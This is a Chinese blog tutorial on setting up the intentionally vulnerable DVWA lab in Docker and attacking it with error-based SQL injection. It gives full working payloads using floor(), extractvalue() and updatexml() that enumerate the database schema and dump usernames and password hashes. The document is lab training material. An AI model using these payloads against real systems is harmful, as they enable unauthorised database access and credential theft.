2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa
docker下载dvwa镜像,报错型注入dvwa,low级
一,安装并配置docker
1,更新源,apt-get update && apt-get upgrade && apt-get clean

2,安装docker,apt-get install docker.io

3, 配置docker加速器,vim /etc/docker/daemon.json
{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com"
]
}

二、使用docker下载安装运行dvwa
1,搜索dvwa镜像,docker search dvwa

2,安装dvwa镜像,docker pull citizenstig/dvwa

3,查看确定下载完成,输入命令docker
images,确定有dvwa

4.运行dvwa,docker run -d –rm -p 8008:80 –name dvwa d9c7999da701

5,确定dvwa容器使用的端口被打开,netstat -ntulp |grep 8008

6,靶机访问127.0.0.1:8008确定可以访问

7,点击Create/Reset
Database创建好数据库,点击Login

8,用户名admin,密码password,访问正常,docker安装dvwa完成

三、使用报错型sql注入dvwa,low级别
1,访问靶机ip 192.168.190.134,登录dvwa

2,设置级别为low

3,选择SQL Injection,进入到sql注入页面,使用floor()报错函数进行注入,获取数据库版本信息
1' and 1=1 union select 1,(select 1 from
(select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from
information_schema.tables group by a)b)#

4,获取数据库表名
1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select database()),'~', floor(rand(0)*2)) as a
from information_schema.tables group by a)b)#

5,获取数据库的表,
1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select table_name from information_schema.tables
where table_schema='dvwa' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables
group by a)b)#


6,获取表中列名
1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select column_name from information_schema.columns
where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from
information_schema.tables group by a)b)#


其他字段修改limit值一个个就可以爆出来就不例举了
7,根据之前获取的列名,发现敏感列user和password获取字段值
1' or 1=2 union select 1, (select 1 from
(select count(*),concat('~',(select concat(user,0x7e,password) from users limit
0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#


修改Limit值直到获取不到,就可以得到表中所有用户账户密码信息了
使用extractvalue报错函数
extractvalue():从目标XML中返回包含所查询值的字符串。
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
使用concat拼接,连接字符串为”~”,因为”~”不是路径符号,查询语句会报错,会将我们所需的信息返回出来
1'and extractvalue(1,concat(0x7e,(select concat(user,0x7e,password) from users limit 0,1),0x7e))#


updatexml()函数报错注入,类似extractvalue
语法:updatexml(xml_target,xpath_expr,new_xml)
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
如:updatexml(<a><b><c>asd</c></b><e></e></a>,
'//b', <f>abc</f>),
运行结果:<a><f>abc</f><e></e></a>,
其中'//b'的斜杠表示不管b节点在哪一层都替换掉,而'/b'则是指在根目录下替换,
注入原理
updatexml()的xml_target和new_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:
or updatexml(1,concat('#',(select * from
(select ...) a)),0)
1'or
updatexml(1,concat('#',(database())),0)#

1'or updatexml(1,concat(0x7e,(select
group_concat(user,0x7e,password) from users limit 0,1)),0)#

完
2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa的更多相关文章
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- DVWA中low级的sql注入漏洞的简单复现
第一次成功复现一个简单漏洞,于是写下这篇随笔记录一下 首先我们来看dvwa中low级的sql注入的源码 源码文件路径如下图: 源码如下: <?php if(isset($_GET['Submit ...
- 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记
pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...
- SQL注入(dvwa环境)
首先登录DVWA主页: 1.修改安全级别为LOW级(第一次玩别打脸),如图中DVWA Security页面中. 2.进入SQL Injection页面,出错了.(心里想着这DVWA是官网下的不至于玩不 ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
- docker 使用报错的相关问题
docker 创建本地主机实例Virtualbox 驱动报错,显示没有下载这个驱动 解决方案,下载virtuabox. https://www.cnblogs.com/effortday/p/1502 ...
随机推荐
- Spring Cloud - Eureka /actuator/info 如何显示信息
在pom.xml中添加 <!-- actuator监控信息完善 --> <dependency> <groupId>org.springframework.boot ...
- The usage of Markdown---杂谈:缩进/换行/分割线/注释/文字颜色
目录 1. 序言 2. 缩进 3. 换行 4. 分割线 5. 注释 6. 改变文字大小和颜色 更新时间:2019.09.14 1. 序言 今天一口气更新了接近10篇博客(虽然只是将我之前基本码好的 ...
- C++沉思录笔记 —— 序幕
#include <stdio.h> class Trace{public: void print(const char* s) { printf("%s\n", ...
- IDEA配置maven+错误记录
使用maven并不是那么顺利所以把自己遇到的问题也记录一下 下载maven 从官网下载maven官网 配置环境变量 新建一个变量名:MAVEN_HOME 值:maven目录 path:%MAVEN_H ...
- 【Java必修课】通过Value获取Map中的键值Key的四种方法
1 简介 我们都知道Map是存放键值对<Key,Value>的容器,知道了Key值,使用方法Map.get(key)能快速获取Value值.然而,有的时候我们需要反过来获取,知道Value ...
- Openmp多线程编程练习
环境配置 一般使用Visual Studio2019来作为openmp的编程环境 调试-->属性-->C/C++-->所有选项-->Openmp支持改为 是(可以使用下拉菜单) ...
- Python实战练习——打印日历教程
很长一段时间没有接触过C语言了,想来做这一行当已经有三两年了. 今天突然想起来以前用C语言在VC6上写代码的日子,想了想以前的一些实战练习. 所以今天打算用Python来写一个C语言以前练习的题目-日 ...
- Kong05-Kong 的健康检查和监控
您可以让 Kong 代理的 API 使用 ring-balancer , 通过添加包含一个或多个目标实体的upstream 实体来配置,每个目标指向不同的IP地址(或主机名)和端口.ring-bala ...
- js基础总结02--字符串操作
1.字符串中对单个字符位置的操作 indexOf(char); 从左往右查找,返回匹配到的第一个字符的位置,没有匹配则返回-1 lastiIndexOf(char); 从右往左查找,返回匹配到的第一个 ...
- 华为OceanConnect物联网平台概念全景 | 我的物联网成长记
作者 | 我是卤蛋 华为云OceanConnect IoT云服务包括应用管理.设备管理.系统管理等能力,实现统一安全的网络接入.各种终端的灵活适配.海量数据的采集分析,从而实现新价值的创造. 华为云O ...